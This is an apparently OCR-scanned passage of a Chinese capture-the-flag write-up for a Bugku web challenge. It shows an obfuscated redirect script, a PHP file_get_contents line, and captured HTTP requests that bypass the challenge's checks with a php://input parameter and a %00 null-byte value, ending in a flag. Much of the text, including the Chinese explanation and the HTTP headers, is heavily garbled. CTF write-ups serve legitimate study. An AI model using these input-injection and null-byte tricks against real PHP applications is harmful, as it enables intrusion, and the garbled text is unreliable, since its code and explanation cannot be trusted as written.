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<HELD>
<3CRIPT LANGUAGE="Jawascript” >
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var Words ="%3Czcript%3Ewindow. location. href%3D" http%34%2F% 2Fwnr, bugku., com’ $3B%3C% 2F script % 3E%20% 04%3C! —
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function OutWord()

{

var NevWords

NewWords = unescape (Words) ;

document. write (NewWards)

1

OutWord() ;
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<fBODY >

</HTML>
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1 echo file_get_contents('http://www.baidu.com', 'r');
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L GET /hello.php?id=abcga=php://inputeb=%00abcde 1 HTTPF/1l.1 Z00 OK
HTTE/ 1.1 Z Date: Thu, 04 Mar Z0Z1 14:43:03 GMT

2 Host: 114.87.246.178:10971 3 Server: Apache/Z.4.7 (Ubuntu)

3 Cache-Control: max-age=0 4 ¥-Powered-By: PHF/5.5.%9-1lubuntud.&

1 Upgrade-Insecure-Requests: 1 5 Content-Length: 5&

53 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4L) & Connection: close
AppleWebKit/537.36 (EHTML, like Gecko) 7 Content-Type: text/html
Chrome/86.0.4240. 198 Safari/537.3€ 8

o Aocept: 9 «l——1lp.html-->
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text/html, application/xhtml+xml, application/xml;q=0. 10 flag{acB8fabchf7469500s4563a675500sh}
9, image/avif, image/ webp, image/apng, */ *;=0.8,applica 11
tion/signed-exchanges;v=h3;q=0.9

7 hocept-Encoding: gzip, deflate

Aecept-Language: zh-CN, zh;qg=0.9

Connection: close

Content-Length: Z£

WL

2 bugku is a nice plateform!

LSRR ) B
SHIdERAGENO0, (EHAE A5 0405

FrLlik id = ‘abe’
BRI ATy 2 1$_GET['id’] Aflase
ﬁ‘md ==

=. B

NULL7 R 8 2 A KB BRRZ —.
PHPA#ZRECIES, HTCH— ST/ H LR E, Fi@ZINULL(X00)FRFHII&, A2 R BUR 2188 HESHRMT .



BT ER 1114 B A1 FbF R B W E PR R ILE , BERE 7R/ N4
JEEBER bFR B E PR 4

B Feregi A nullE BRI, FrLl4 $b= %0012345,

BEEA1 -

A2 %001234747? ERKEBKRTST . . strients & U i A & kiH
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Request

Pretty IREITE \n  Actions »

1 GET /hello.php?hb=%0012345&id=abc&a=php:// input
HTTF/1.1

2 Host: 114.87.246.178:17897

4, T

Cache-Control: max-ags=0
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/8€6.0.4240.198 Safari/537.36
Accept:

WOWE4)

text/html, application/xhtml+xml, application/xml;q=0.
9, image/avif, image/ webhp, image/apng, */ *;g=0.8, applica

tion/signed-exchanges;v=h3;q=0.9
Accept-Encoding: gzip, deflate
Aecept-Language: zh-CN, zh;q=0.9
Connection: close

J Content-Length: ZE
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Response
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HTTF/1l.l 200 OK

Date: Thu, 04 Mar 2021 15:22:22 GHT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHF/5.5.9-lubuntud.&
Content-Length: 5&

Connection: close

Content-Type: text/html

<!——1lp.html-->
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